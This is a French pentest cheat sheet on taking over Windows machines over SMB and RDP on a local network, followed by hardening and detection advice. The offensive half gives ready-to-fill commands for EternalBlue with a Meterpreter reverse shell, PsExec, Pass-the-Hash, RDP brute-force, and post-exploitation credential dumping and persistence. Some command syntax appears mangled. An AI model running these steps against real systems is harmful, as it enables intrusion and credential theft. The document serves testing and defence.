MDstable
NoteSnippetChecklistPlaybook

Prise de contrôle à distance — SMB / RDP / LAN

Exploitation SMB/RDP sur réseau local : EternalBlue, PsExec, Pass-the-Hash, Meterpreter, durcissement défensif

snippetintermediate 2026-05-14 5 min read
smbrdplateral-movementeternalbluepsexecpass-the-hashmeterpreternetbiospentestblue-team

Reconnaissance réseau

bash
Variables
{{TARGET_SUBNET}}
# Ping sweep
nmap -sn {{TARGET_SUBNET}}
# ARP scan (plus fiable en local)
netdiscover -r {{TARGET_SUBNET}}
arp-scan --localnet
bash
Variables
{{TARGET_IP}}
# Scan rapide des ports SMB/RDP/VNC
nmap -p 13513944533895900 {{TARGET_IP}}
# Scan complet + détection OS + scripts NSE
nmap -A -sV -p- {{TARGET_IP}}
# Scripts NSE SMB spécifiques
nmap --script smb-enum-shares,smb-enum-users,smb-os-discovery -p 445 {{TARGET_IP}}

Énumération SMB (ports 139/445)

bash
Variables
{{TARGET_IP}}
# Énumération via enum4linux
enum4linux -a {{TARGET_IP}}
# Lister les partages accessibles (session anonyme)
smbclient -L //{{TARGET_IP}} -N
# CrackMapExec — énumération complète
crackmapexec smb {{TARGET_IP}}
crackmapexec smb {{TARGET_IP}} --shares
crackmapexec smb {{TARGET_IP}} --users
bash
Variables
{{TARGET_IP}}
# Identifier la version SMB
nmap --script smb-protocols -p 445 {{TARGET_IP}}
# SMBv1 actif = potentiellement vulnérable à EternalBlue (MS17-010)

Exploitation

Option A — EternalBlue (MS17-010) si SMBv1 actif

bash
Variables
{{TARGET_IP}}
{{LHOST}}
# Vérification préalable
nmap --script smb-vuln-ms17-010 -p 445 {{TARGET_IP}}
# Exploitation via Metasploit
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS {{TARGET_IP}}
set LHOST {{LHOST}}
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

Option B — PsExec (credentials connus ou session null)

bash
Variables
{{TARGET_IP}}
{{SMB_USER}}
{{SMB_PASS}}
# Via Metasploit
use exploit/windows/smb/psexec
set RHOSTS {{TARGET_IP}}
set SMBUser {{SMB_USER}}
set SMBPass {{SMB_PASS}}
run
# Via Impacket (CLI)
impacket-psexec {{SMB_USER}}{{SMB_PASS}}{{TARGET_IP}}
# Via Sysinternals PsExec (Windows → Windows)
PsExecexe {{TARGET_IP}} -u {{SMB_USER}} -p {{SMB_PASS}} cmdexe

Option C — Pass-the-Hash (hash NTLM récupéré)

bash
Variables
{{TARGET_IP}}
{{NTLM_HASH}}
# Avec CrackMapExec
crackmapexec smb {{TARGET_IP}} -u Administrator -H {{NTLM_HASH}}
# Avec Impacket
impacket-psexec -hashes {{NTLM_HASH}} Administrator{{TARGET_IP}}

Option D — RDP (port 3389)

bash
Variables
{{TARGET_IP}}
{{RDP_USER}}
{{RDP_PASS}}
# Brute-force RDP
hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp//{{TARGET_IP}}
# Connexion directe (si credentials)
xfreerdp /u{{RDP_USER}} /p{{RDP_PASS}} /v{{TARGET_IP}}
# BlueKeep check (CVE-2019-0708)
nmap --script rdp-vuln-ms12-020 -p 3389 {{TARGET_IP}}

Post-exploitation (Meterpreter)

bash
# Capture d'écran
screenshot
# Stream live écran
screenshare
# Shell interactif
shell
# Dump des credentials
hashdump
run post/windows/gather/credentials/credential_collector
# Élévation de privilèges
getsystem
# Persistance (démo lab uniquement)
run post/windows/manage/persistence

Défense — Audit immédiat

cmd
Variables
{{PID}}
# Connexions actives + PID
netstat -ano
# Identifier un PID
tasklist /FI "PID eq {{PID}}"
# Connexions établies uniquement (filtrer le bruit)
netstat -ano | findstr "ESTABLISHED"
# Ports en écoute exposés sur toutes interfaces (0.0.0.0)
netstat -ano | findstr "0.0.0.0.*LISTENING"

Défense — Hardening SMB

powershell
# Désactiver SMBv1 (critique)
Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force
# Désactiver SMBv2 si inutile
Set-SmbServerConfiguration -EnableSMB2Protocol $false -Force
# Vérifier l'état
Get-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol
# Bloquer SMB via pare-feu Windows (ports 139 et 445)
netsh advfirewall firewall add rule name="Block SMB In" dir=in action=block protocol=TCP localport=139,445

Défense — Hardening RDP

powershell
Variables
{{IP_AUTORISEE}}
# Désactiver RDP si non utilisé
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' `
-Name "fDenyTSConnections" -Value 1
# Activer NLA (Network Level Authentication)
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' `
-Name "UserAuthentication" -Value 1
# Restreindre RDP à une IP spécifique via pare-feu
netsh advfirewall firewall add rule name="RDP Restrict" dir=in action=allow `
protocol=TCP localport=3389 remoteip={{IP_AUTORISEE}}

Désactiver NetBIOS

powershell
# Via PowerShell (toutes les interfaces)
$adapters = Get-WmiObject Win32_NetworkAdapterConfiguration
foreach ($a in $adapters) { $a.SetTcpipNetbios(2) }
# 2 = Disable NetBIOS

Profil réseau public (Wi-Fi école / café)

powershell
Variables
{{INTERFACE_ID}}
# Forcer le profil réseau en "Public" (restreint le partage)
Get-NetConnectionProfile
Set-NetConnectionProfile -InterfaceIndex {{INTERFACE_ID}} -NetworkCategory Public

Défense — Pare-feu

powershell
Variables
{{NOM_REGLE_SUSPECTE}}
# Bloquer toute connexion entrante par défaut (profil public)
netsh advfirewall set publicprofile firewallpolicy blockinbound,allowoutbound
# Vérifier les règles actives
netsh advfirewall firewall show rule name=all dir=in | findstr "Enabled"
# Supprimer une règle suspecte
netsh advfirewall firewall delete rule name="{{NOM_REGLE_SUSPECTE}}"

Détection — Événements suspects

powershell
# Connexions SMB entrantes (Event ID 5140 — partage réseau accédé)
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 5140} | Select -First 20
# Tentatives de logon réseau (Event ID 4624 type 3 = réseau)
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4624} | Select -First 20
# Logons échoués (Event ID 4625)
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4625} | Select -First 20
# Sessions et fichiers SMB ouverts sur la machine
Get-SmbShare
Get-SmbSession
Get-SmbOpenFile

Ports à risque

| Port | Protocole | Risque | Action | |------|-----------|--------|--------| | 139 | NetBIOS | Énumération, session null | Désactiver | | 445 | SMB | EternalBlue, PsExec, PTH | Désactiver ou filtrer | | 3389 | RDP | Brute-force, BlueKeep | Désactiver ou restreindre IP | | 5900 | VNC | Accès bureau distant | Désactiver si inutile | | 135 | RPC | Exploitation DCOM | Filtrer en entrée |


Checklist défensive — réseau non maîtrisé

Checklist0/8
⚠ Attention —

EternalBlue (MS17-010) reste exploitable sur n'importe quel Windows non patché avec SMBv1 actif. La vérification nmap --script smb-vuln-ms17-010 prend 5 secondes et doit être le premier réflexe sur tout réseau interne. SMBv1 est désactivé par défaut depuis Windows 10 1709 et Server 2019.

💡 Tip —

Pass-the-Hash est souvent plus rapide que le crack de password — si Responder ou hashdump donne un hash NTLM, tester directement avec CrackMapExec sur tout le subnet avant de lancer hashcat. Un seul compte admin local réutilisé sur plusieurs machines suffit pour du lateral movement en cascade.

OPS·BRAIN v1.075 notes · Securitylocal